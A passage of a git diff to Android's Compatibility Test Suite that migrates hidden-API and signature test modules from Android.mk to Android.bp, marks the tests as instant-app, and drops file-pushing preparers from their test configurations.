- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="android-test-base-current.api->/data/local/tmp/signature-test/android-test-base-current.api" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsCurrentApiSignatureTestCases.apk" />
@@ -43,8 +27,8 @@
<option name="package" value="android.signature.cts.api.current" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.current.SignatureTest" />
- <option name="instrumentation-arg" key="expected-api-files" value="current.api" />
- <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-base-current.api,android-test-mock-current.api,android-test-runner-current.api" />
+ <option name="instrumentation-arg" key="expected-api-files" value="current.txt" />
+ <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-base-current.txt,android-test-mock-current.txt,android-test-runner-current.txt" />
<option name="runtime-hint" value="30s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.bp b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.bp
new file mode 100644
index 0000000..7750b14
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsHiddenApiBlacklistApi27TestCases",
+ defaults: [
+ "hiddenapi-blacklist-check-defaults",
+ ],
+ min_sdk_version: "27",
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
deleted file mode 100644
index 59f7d6f2..0000000
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
+++ /dev/null
@@ -1,22 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistApi27TestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidManifest.xml
index c714e97..144d631 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidManifest.xml
@@ -16,10 +16,11 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.hiddenapi_blacklist_api_27">
+ package="android.signature.cts.api.hiddenapi_blacklist_api_27"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
- <uses-sdk android:targetSdkVersion="27" />
+ <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27" />
<application android:extractNativeLibs="true" android:largeHeap="true"/>
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
index e19f874..d168b2d 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
@@ -16,15 +16,8 @@
<configuration description="Config for CTS Hidden API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsHiddenApiBlacklistApi27TestCases.apk" />
@@ -33,7 +26,7 @@
<option name="package" value="android.signature.cts.api.hiddenapi_blacklist_api_27" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.api27.HiddenApiTest" />
- <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+ <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
<option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist" />
<option name="runtime-hint" value="30s" />
</test>
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/Android.bp b/tests/signature/api-check/hidden-api-blacklist-28-api/Android.bp
new file mode 100644
index 0000000..44ec9ba
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28-api/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsHiddenApiBlacklistApi28TestCases",
+ defaults: [
+ "hiddenapi-blacklist-check-defaults",
+ ],
+ min_sdk_version: "27",
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/Android.mk b/tests/signature/api-check/hidden-api-blacklist-28-api/Android.mk
deleted file mode 100644
index f1cd2f3..0000000
--- a/tests/signature/api-check/hidden-api-blacklist-28-api/Android.mk
+++ /dev/null
@@ -1,22 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistApi28TestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidManifest.xml
index d011b88..919cd00 100644
--- a/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidManifest.xml
@@ -16,10 +16,11 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.hiddenapi_blacklist_api_28">
+ package="android.signature.cts.api.hiddenapi_blacklist_api_28"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
- <uses-sdk android:targetSdkVersion="28" />
+ <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28" />
<application android:extractNativeLibs="true" android:largeHeap="true"/>
diff --git a/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml
index 3c407b3..6285971 100644
--- a/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-28-api/AndroidTest.xml
@@ -16,15 +16,8 @@
<configuration description="Config for CTS Hidden API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsHiddenApiBlacklistApi28TestCases.apk" />
@@ -33,7 +26,7 @@
<option name="package" value="android.signature.cts.api.hiddenapi_blacklist_api_28" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.api28.HiddenApiTest" />
- <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+ <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
<option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o" />
<option name="runtime-hint" value="30s" />
</test>
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.bp b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.bp
new file mode 100644
index 0000000..ea419f2
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsHiddenApiBlacklistCurrentApiTestCases",
+ defaults: [
+ "hiddenapi-blacklist-check-defaults",
+ ],
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk b/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
deleted file mode 100644
index bfd890b..0000000
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/Android.mk
+++ /dev/null
@@ -1,22 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistCurrentApiTestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidManifest.xml
index 4c1528b..a17daac 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.hiddenapi_blacklist_current">
+ package="android.signature.cts.api.hiddenapi_blacklist_current"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
diff --git a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
index 904f2f1..3fb352d 100644
--- a/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-current-api/AndroidTest.xml
@@ -16,15 +16,8 @@
<configuration description="Config for CTS Hidden API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsHiddenApiBlacklistCurrentApiTestCases.apk" />
@@ -33,7 +26,7 @@
<option name="package" value="android.signature.cts.api.hiddenapi_blacklist_current" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.current.HiddenApiTest" />
- <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+ <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
<option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
<option name="runtime-hint" value="30s" />
</test>
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.bp b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.bp
new file mode 100644
index 0000000..150ba8c
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsHiddenApiBlacklistDebugClassTestCases",
+ defaults: [
+ "hiddenapi-blacklist-check-defaults",
+ ],
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk b/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
deleted file mode 100644
index 9048d8e..0000000
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/Android.mk
+++ /dev/null
@@ -1,22 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistDebugClassTestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml
index e0e9a3e..8646c80 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.hiddenapi_blacklist_debug_class">
+ package="android.signature.cts.api.hiddenapi_blacklist_debug_class"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
diff --git a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
index 9209d59..9c49d41 100644
--- a/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-debug-class/AndroidTest.xml
@@ -16,15 +16,8 @@
<configuration description="Config for CTS Hidden API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsHiddenApiBlacklistDebugClassTestCases.apk" />
@@ -33,7 +26,7 @@
<option name="package" value="android.signature.cts.api.hiddenapi_blacklist_debug_class" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.DebugClassHiddenApiTest" />
- <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+ <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi-flags.csv" />
<option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist,greylist-max-o,greylist-max-p" />
<option name="runtime-hint" value="30s" />
</test>
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
new file mode 100644
index 0000000..cb86794
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsHiddenApiKillswitchDebugClassTestCases",
+ defaults: ["hiddenapi-killswitch-check-defaults"],
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.mk b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.mk
deleted file mode 100644
index 003eb7f..0000000
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiKillswitchDebugClassTestCases
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
index 5435b61..b502561 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.killswitch_debug_class">
+ package="android.signature.cts.api.killswitch_debug_class"
+ android:targetSandboxVersion="2">
<application android:debuggable="true"
android:extractNativeLibs="true"
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
index 7f144c0..68c3e5c 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/AndroidTest.xml
@@ -16,7 +16,7 @@
<configuration description="Config for CTS Hidden API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.bp b/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.bp
new file mode 100644
index 0000000..2c1e8f4
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsHiddenApiKillswitchWhitelistTestCases",
+ defaults: ["hiddenapi-killswitch-check-defaults"],
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.mk b/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.mk
deleted file mode 100644
index 5dca9c1..0000000
--- a/tests/signature/api-check/hidden-api-killswitch-whitelist/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiKillswitchWhitelistTestCases
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
-
-LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml
index 35b3e0cb..54f61f9 100644
--- a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.killswitch_whitelist">
+ package="android.signature.cts.api.killswitch_whitelist"
+ android:targetSandboxVersion="2">
<application android:debuggable="true"
android:extractNativeLibs="true"
diff --git a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
index b34d6ba..e25bb65 100644
--- a/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-killswitch-whitelist/AndroidTest.xml
@@ -16,7 +16,7 @@
<configuration description="Config for CTS Hidden API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<!-- Whitelist all APIs before running the test, then reset this afterwards. The test
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
new file mode 100644
index 0000000..785199e
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
